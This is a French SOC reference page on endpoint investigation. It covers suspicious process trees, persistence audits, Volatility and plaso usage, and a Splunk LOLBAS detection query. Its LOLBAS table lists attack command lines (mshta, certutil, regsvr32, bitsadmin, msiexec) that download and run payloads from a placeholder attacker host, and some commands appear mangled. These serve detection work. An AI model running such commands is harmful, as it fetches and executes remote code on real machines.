MDstable
NoteSnippetChecklistPlaybook

Investigation endpoint — EDR & Artefacts

Analyser les artefacts endpoint : processus, persistance, mémoire, timeline

snippetadvanced 2025-05-13 5 min read
socendpointEDRprocesspersistencememoryDFIR

Arbres de processus suspects

PatternSignificationATT&CK
WINWORD.EXE → powershell.exeMacro Office malveillanteT1566.001, T1059.001
EXCEL.EXE → cmd.exe → net.exeMacro téléchargeant payloadT1059.003
outlook.exe → wscript.exePièce jointe script malveillantT1566.001
explorer.exe → cmd.exe → net.exeExécution manuelle par attaquantT1059.003
lsass.exe → [tout enfant]Injection dans lsass (très rare légitime)T1055
svchost.exe → powershell.exeService malveillant ou WMI execT1047, T1059.001
msiexec.exe → rundll32.exe → regsvr32.exeChaîne LOLBAST1218
wscript.exe → powershell.exe -encScript VBS dropperT1059.005
regsvr32.exe /s /u /i:http://...Squiblydoo bypassT1218.010

Commandes d'investigation processus

Windows

powershell
Variables
{{SUSPICIOUS_DLL}}
# Liste des processus avec path et hash
Get-Process | Select-Object Name, Id, Path, @{
N='Hash'; E={(Get-FileHash $_.Path -EA 0).Hash}
} | Where-Object Path -ne $null | Format-Table -Auto
# Processus avec connexions réseau actives
Get-NetTCPConnection -State Established | ForEach-Object {
$proc = Get-Process -Id $_.OwningProcess -EA 0
[PSCustomObject]@{
LocalAddr = $_.LocalAddress
LocalPort = $_.LocalPort
RemoteAddr = $_.RemoteAddress
RemotePort = $_.RemotePort
PID = $_.OwningProcess
Process = $proc.Name
Path = $proc.Path
}
} | Format-Table -Auto
# Arbre de processus complet
Get-WmiObject Win32_Process | Select-Object ProcessId, ParentProcessId, Name, CommandLine |
Sort-Object ParentProcessId | Format-Table -Auto
# Processus injectés — modules inhabituels
tasklist /m /fi "STATUS eq running" | findstr /i "{{SUSPICIOUS_DLL}}"
cmd
REM Investigation rapide ligne de commande
tasklist /v /fo csv > c:\temp\tasklist.csv
wmic process get ProcessId,ParentProcessId,Name,CommandLine /format:csv > c:\temp\processes.csv
netstat -nao > c:\temp\netstat.csv

Linux

bash
Variables
{{PID}}
# Processus suspects — parents/enfants
ps auxf --sort=-%cpu | head -40
# Processus avec connexions réseau
ss -tulnp | awk '{print $NF}' | grep -oP 'pid=\K[0-9]+' |
xargs -I{} sh -c 'echo "PID: {}"; ls -la /proc/{}/exe 2>/dev/null'
# Processus sans binaire sur disque (fileless)
for pid in ls /proc | grep -E '^[0-9]+$'; do
exereadlink /proc/$pid/exe 2>/dev/null
if echo "$exe" | grep -q "(deleted)"; then
echo "DELETED: PID=$pid EXE=$exe CMD=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')"
fi
done
# Fichiers ouverts par un processus suspect
lsof -p {{PID}} 2>/dev/null | grep -v "REG\|DIR" | head -30

Checklist — Persistance

Checklist0/12
powershell
# Audit persistance — Run keys
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
# WMI subscriptions — persistance avancée (T1546.003)
Get-WMIObject -Namespace root/subscription -Class __EventFilter
Get-WMIObject -Namespace root/subscription -Class __EventConsumer
Get-WMIObject -Namespace root/subscription -Class __FilterToConsumerBinding
# Scheduled Tasks — contenu complet
Get-ScheduledTask | Where-Object State -ne "Disabled" |
ForEach-Object { $_.Actions } | Select-Object Execute, Arguments |
Where-Object { $_.Execute -match "powershell|cmd|wscript|mshta|regsvr" }

Velociraptor / EDR — Collecte d'artefacts

yaml
# Velociraptor — Query VQL pour investigation endpoint
SELECT *
FROM Artifact.Windows.System.Pslist()
WHERE CommandLine =~ "(?i)(base64|enc|http|Download)"
# Collecte de tous les artefacts de persistance
SELECT * FROM Artifact.Windows.Persistence.PermanentWMIEvents()
SELECT * FROM Artifact.Windows.System.ScheduledTasks()
SELECT * FROM Artifact.Windows.Registry.RunKeys()
bash
Variables
{{FALCON_TOKEN}}
{{DEVICE_ID}}
# EDR CLI — Isoler un hôte (exemple CrowdStrike Falcon)
# Via API Falcon
curl -X POST "https://api.crowdstrike.com/devices/entities/devices-actions/v2?action_name=contain"
-H "Authorization: Bearer {{FALCON_TOKEN}}"
-H "Content-Type: application/json"
-d '{"ids": ["{{DEVICE_ID}}"]}'

Forensique mémoire — Volatility 3

bash
Variables
{{PID}}
# Volatility3 — Installation et usage de base
pip install volatility3
# Image mémoire — liste des processus
volpy -f memorydmp windowspslist
# Arbre de processus
volpy -f memorydmp windowspstree
# Connexions réseau en mémoire
volpy -f memorydmp windowsnetscan
# Détection de code injecté (MZ headers dans régions non-image)
volpy -f memorydmp windowsmalfind --pid {{PID}}
# DLLs chargées par un processus
volpy -f memorydmp windowsdlllist --pid {{PID}}
# Dumps des processus suspects
volpy -f memorydmp windowsmemmap --pid {{PID}} --dump
# Analyse des handles ouverts
volpy -f memorydmp windowshandles --pid {{PID}}
# Recherche de strings dans la mémoire d'un processus
volpy -f memorydmp windowsstrings --pid {{PID}} | grep -iE "(http|cmd|powershell|VirtualAlloc)"

Timeline — plaso / log2timeline

bash
Variables
{{START_DATE}}
{{END_DATE}}
# Créer une timeline complète d'un système Windows (image disque)
log2timelinepy --parsers win7winreg
/output/timeline.plaso
/mnt/evidence/image.dd
# Filtrer et exporter au format CSV
psortpy -o l2tcsv
-w /output/timeline.csv
/output/timeline.plaso
"date > '{{START_DATE}}' and date < '{{END_DATE}}'"
# Recherche rapide d'événements suspects
grep -i "powershell\|psexec\|mimikatz\|lsass" /output/timeline.csv | head -50

LOLBAS — Détection des abus

BinaireTechnique d'abusCommande suspecteATT&CK
mshta.exeExécution HTA/VBSmshta http://{{LHOST}}/evil.htaT1218.005
regsvr32.exeSquiblydoo — DLL distanteregsvr32 /s /u /i:http://{{LHOST}}/evil.sct scrobj.dllT1218.010
certutil.exeDownload de payloadcertutil -urlcache -split -f http://{{LHOST}}/payload.exeT1105
bitsadmin.exeDownload persistantbitsadmin /transfer job http://{{LHOST}}/evil.exe c:\tmp\evil.exeT1197
wscript.exeExécution de scriptswscript //e:VBScript //b evil.jsT1059.005
rundll32.exeExécution DLLrundll32 \\{{LHOST}}\share\evil.dll,DllMainT1218.011
msiexec.exeInstall MSI distantmsiexec /q /i http://{{LHOST}}/evil.msiT1218.007
odbcconf.exeProxy d'exécutionodbcconf /s /a {REGSVR evil.dll}T1218.008
splunk
# Splunk — Détection LOLBAS avec arguments réseau
index=windows EventCode=4688 earliest=-24h
(NewProcessName="*certutil*" AND CommandLine="*http*")
OR (NewProcessName="*mshta*" AND (CommandLine="*http*" OR CommandLine="*\\\\*"))
OR (NewProcessName="*regsvr32*" AND CommandLine="*scrobj*")
OR (NewProcessName="*bitsadmin*" AND CommandLine="*transfer*")
OR (NewProcessName="*rundll32*" AND CommandLine="*\\\\*")
| table _time, host, SubjectUserName, NewProcessName, CommandLine
| sort _time
💡 Tip — Vérifier le niveau d'intégrité du processus parent — un enfant de niveau "Medium Integrity" généré par un processus "High Integrity" est normal lors d'une élévation, mais l'inverse (un enfant High issu d'un parent Medium sans UAC visible) est un marqueur d'escalade de privilèges non-standard à investiguer immédiatement.
OPS·BRAIN v1.090 notes · Securitylocal